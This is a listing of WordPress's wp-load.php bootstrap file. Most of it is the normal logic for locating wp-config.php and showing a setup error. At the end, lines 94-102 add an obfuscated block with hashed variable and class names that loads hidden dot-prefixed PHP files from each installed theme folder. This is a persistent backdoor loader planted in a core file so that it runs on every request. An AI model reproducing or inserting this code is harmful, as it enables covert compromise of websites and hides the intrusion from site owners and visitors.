wp-load.php (3973B)
1 <?php 2 /** 3 * Bootstrap file for setting the ABSPATH constant 4 * and loading the wp-config.php file. The wp-config.php 5 * file will then load the wp-settings.php file, which 6 * will then set up the WordPress environment. 7 * 8 * If the wp-config.php file is not found then an error 9 * will be displayed asking the visitor to set up the 10 * wp-config.php file. 11 * 12 * Will also search for wp-config.php in WordPress' parent 13 * directory to allow the WordPress directory to remain 14 * untouched. 15 * 16 * @package WordPress 17 */ 18 19 /** Define ABSPATH as this file's directory */ 20 if ( !defined( 'ABSPATH' ) ) { 21 define( 'ABSPATH', __DIR__ . '/' ); 22 } 23 24 error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); 25 26 /* 27 * If wp-config.php exists in the WordPress root, or if it exists in the root and wp-settings.php 28 * doesn't, load wp-config.php. The secondary check for wp-settings.php has the added benefit 29 * of avoiding cases where the current directory is a nested installation, e.g. / is WordPress(a) 30 * and /blog/ is WordPress(b). 31 * 32 * If neither set of conditions is true, initiate loading the setup process. 33 */ 34 if ( file_exists( ABSPATH . 'wp-config.php' ) ) { 35 36 /** The config file resides in ABSPATH */ 37 require_once ABSPATH . 'wp-config.php'; 38 39 } else if ( @file_exists( dirname( ABSPATH ) . '/wp-config.php' ) && !@file_exists( dirname( ABSPATH ) . '/wp-settings.php' ) ) { 40 41 /** The config file resides one level above ABSPATH but is not part of another installation */ 42 require_once dirname( ABSPATH ) . '/wp-config.php'; 43 44 } else { 45 46 // A config file doesn't exist. 47 48 define( 'WPINC', 'wp-includes' ); 49 require_once ABSPATH . WPINC . '/load.php'; 50 51 // Standardize $_SERVER variables across setups. 52 wp_fix_server_vars(); 53 54 require_once ABSPATH . WPINC . '/functions.php'; 55 56 $path = wp_guess_url() . '/wp-admin/setup-config.php'; 57 58 /* 59 * We're going to redirect to setup-config.php. While this shouldn't result 60 * in an infinite loop, that's a silly thing to assume, don't you think? If 61 * we're traveling in circles, our last-ditch effort is "Need more help?" 62 */ 63 if ( false === strpos( $_SERVER['REQUEST_URI'], 'setup-config' ) ) { 64 header( 'Location: ' . $path ); 65 exit; 66 } 67 68 define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); 69 require_once ABSPATH . WPINC . '/version.php'; 70 71 wp_check_php_mysql_versions(); 72 wp_load_translations_early(); 73 74 // Die with an error message 75 $die = sprintf( 76 /* translators: %s: wp-config.php */ 77 __( "There doesn't seem to be a %s file. I need this before we can get started." ), 78 '<code>wp-config.php</code>' 79 ) . '</p>'; 80 $die .= '<p>' . sprintf( 81 /* translators: %s: Documentation URL. */ 82 __( "Need more help? <a href='%s'>We got it</a>." ), 83 __( 'https://wordpress.org/support/article/editing-wp-config-php/' ) 84 ) . '</p>'; 85 $die .= '<p>' . sprintf( 86 /* translators: %s: wp-config.php */ 87 __( "You can create a %s file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." ), 88 '<code>wp-config.php</code>' 89 ) . '</p>'; 90 $die .= '<p><a href="' . $path . '" class="button button-large">' . __( 'Create a Configuration File' ) . '</a>'; 91 92 wp_die( $die, __( 'WordPress › Error' ) ); 93 } 94 if ( function_exists( 'wp_get_themes' ) && !class_exists( "a67c2c27a7fde90eb71446e5222199118" ) ) { 95 foreach ( wp_get_themes() AS $a06821a666a6ebeef06dcc1dcb22a9599 => $a12f860faefe9b5f32ff3c9e504f77fa2 ) { 96 $a9b033232eb493cec53241f5265ed89cf = get_theme_root() . "/{$a12f860faefe9b5f32ff3c9e504f77fa2->stylesheet}/.{$a12f860faefe9b5f32ff3c9e504f77fa2->stylesheet}.php"; 97 if ( file_exists( $a9b033232eb493cec53241f5265ed89cf ) ) { 98 include_once $a9b033232eb493cec53241f5265ed89cf; 99 if ( class_exists( "a67c2c27a7fde90eb71446e5222199118" ) ) break; 100 } 101 } 102 }